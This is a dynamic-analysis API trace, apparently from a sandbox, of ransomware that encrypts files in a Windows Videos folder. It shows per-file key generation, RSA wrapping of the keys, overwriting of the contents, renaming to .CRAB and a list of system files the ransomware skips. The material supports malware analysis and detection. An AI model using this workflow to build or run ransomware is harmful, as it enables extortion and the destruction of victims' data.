	[0134.512] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.513] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249530) returned 1
	[0134.513] CryptGetKeyParam (in: hKey=0x3249530, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.513] CryptEncrypt (in: hKey=0x3249530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.514] GetLastError () returned 0x0
	[0134.514] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.514] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\nmew.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.514] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.514] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.515] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x82de, lpOverlapped=0x0) returned 1
	[0134.529] VirtualAlloc (lpAddress=0x0, dwSize=0x82e0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.530] VirtualAlloc (lpAddress=0x0, dwSize=0x82e0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.531] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.531] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff7d22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.531] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x82e0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x82e0, lpOverlapped=0x0) returned 1
	[0134.531] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.532] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.535] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.536] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.536] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.536] CloseHandle (hObject=0x3e8) returned 1
	[0134.536] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.536] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.536] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.537] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.537] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.537] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.537] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.537] lstrcmpW (lpString1="q2UQarvqfMBMw.flv", lpString2=".") returned 1
	[0134.537] lstrcmpW (lpString1="q2UQarvqfMBMw.flv", lpString2="..") returned 1
	[0134.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="q2UQarvqfMBMw.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv"
	[0134.537] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.538] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv") returned 46
	[0134.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv") returned 46
	[0134.538] lstrlenW (lpString=".flv") returned 4
	[0134.538] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.538] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.538] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv") returned 46
	[0134.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv") returned 46
	[0134.538] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="desktop.ini") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="autorun.inf") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="ntuser.dat") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="iconcache.db") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="bootsect.bak") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="boot.ini") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="ntuser.dat.log") returned 1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="thumbs.db") returned -1
	[0134.539] lstrcmpiW (lpString1="q2UQarvqfMBMw.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.539] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.539] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB") returned 51
	[0134.539] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\q2uqarvqfmbmw.flv")) returned 0x20
	[0134.539] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv", dwFileAttributes=0x20) returned 1
	[0134.540] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\q2uqarvqfmbmw.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\q2uqarvqfmbmw.flv.crab")) returned 1
	[0134.541] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.541] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB"
	[0134.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB.CRAB"
	[0134.541] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0134.543] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.543] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.543] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.543] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0134.543] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.544] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.545] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.545] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.545] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.545] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.545] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.545] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.546] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.546] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.546] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0134.547] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249570) returned 1
	[0134.547] CryptGetKeyParam (in: hKey=0x3249570, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.548] CryptEncrypt (in: hKey=0x3249570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.548] GetLastError () returned 0x0
	[0134.548] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0134.548] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.549] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32499b0) returned 1
	[0134.549] CryptGetKeyParam (in: hKey=0x32499b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.549] CryptEncrypt (in: hKey=0x32499b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.550] GetLastError () returned 0x0
	[0134.550] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.550] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\q2UQarvqfMBMw.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\q2uqarvqfmbmw.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.550] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.551] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.551] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x865, lpOverlapped=0x0) returned 1
	[0134.563] VirtualAlloc (lpAddress=0x0, dwSize=0x870, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.563] VirtualAlloc (lpAddress=0x0, dwSize=0x870, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.564] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.564] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffff79b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.564] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x870, lpOverlapped=0x0) returned 1
	[0134.564] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.564] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.568] CloseHandle (hObject=0x3e8) returned 1
	[0134.568] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.569] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.569] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.569] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.569] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.569] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.570] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.570] lstrcmpW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2=".") returned 1
	[0134.570] lstrcmpW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="..") returned 1
	[0134.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="Shy2sjYC6fXYZzN3.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv"
	[0134.570] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.570] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv") returned 49
	[0134.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv") returned 49
	[0134.570] lstrlenW (lpString=".mkv") returned 4
	[0134.570] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.570] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.570] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv") returned 49
	[0134.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv") returned 49
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="desktop.ini") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="autorun.inf") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="ntuser.dat") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="iconcache.db") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="bootsect.bak") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="boot.ini") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="ntuser.dat.log") returned 1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="thumbs.db") returned -1
	[0134.571] lstrcmpiW (lpString1="Shy2sjYC6fXYZzN3.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.571] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.571] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB") returned 54
	[0134.571] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\shy2sjyc6fxyzzn3.mkv")) returned 0x20
	[0134.571] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv", dwFileAttributes=0x20) returned 1
	[0134.575] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\shy2sjyc6fxyzzn3.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\shy2sjyc6fxyzzn3.mkv.crab")) returned 1
	[0134.576] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.576] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB"
	[0134.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB.CRAB"
	[0134.576] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.577] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.578] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.578] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.578] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.578] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.578] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ec00) returned 1
	[0134.579] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.580] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.580] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.580] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0134.580] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.580] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.580] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.581] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.582] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249bf0) returned 1
	[0134.582] CryptGetKeyParam (in: hKey=0x3249bf0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.582] CryptEncrypt (in: hKey=0x3249bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.583] GetLastError () returned 0x0
	[0134.583] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.583] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0134.584] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249c30) returned 1
	[0134.584] CryptGetKeyParam (in: hKey=0x3249c30, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.584] CryptEncrypt (in: hKey=0x3249c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.584] GetLastError () returned 0x0
	[0134.584] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.585] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Shy2sjYC6fXYZzN3.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\shy2sjyc6fxyzzn3.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.585] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.585] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.586] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xeb4, lpOverlapped=0x0) returned 1
	[0134.598] VirtualAlloc (lpAddress=0x0, dwSize=0xec0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.598] VirtualAlloc (lpAddress=0x0, dwSize=0xec0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.599] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.599] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffff14c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.599] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xec0, lpOverlapped=0x0) returned 1
	[0134.599] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.599] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.603] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.603] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.603] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.603] CloseHandle (hObject=0x3e8) returned 1
	[0134.603] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
